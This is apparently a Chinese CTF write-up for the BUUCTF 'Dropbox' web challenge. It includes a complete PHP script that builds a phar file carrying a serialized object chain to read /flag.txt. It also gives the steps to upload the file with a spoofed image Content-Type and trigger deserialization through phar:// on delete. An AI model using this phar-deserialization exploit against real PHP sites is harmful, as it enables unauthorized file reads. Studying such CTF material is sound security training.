BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

步骤:

1.运行这个:php

<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new User(); $o->db = new FileList(); $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("exp.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 

生成一个phar.phar文件:html

注意要设置:phar.readonly = Off。PS:一开始我用的是PHP7没法生成,后来改为PHP5即可以了函数

 2.更改Content-Type为image/png而后上传this

 3.在delete里面读取phar获得flagspa

 解析[phar]:

php一大部分的文件系统函数在经过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,其中就有file_get_contents() ,因此咱们能够把一个序列化的对象,储存在phar格式的文件中.net

将phar伪形成其余格式的文件:php识别phar文件是经过其文件头的stub,更确切一点来讲是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么咱们就能够经过添加任意的文件头+修改后缀名的方式将phar文件假装成其余格式的文件。code

总体思路是:经过User调用File中的close()读取flag可是要经FileList绕一下,否则没有回显htm

 

 详细走大佬链接对象


 

参考:

https://blog.csdn.net/weixin_44077544/article/details/102844554blog

https://www.cnblogs.com/kevinbruce656/p/11316070.html

https://xz.aliyun.com/t/2715

相关文章
相关标签/搜索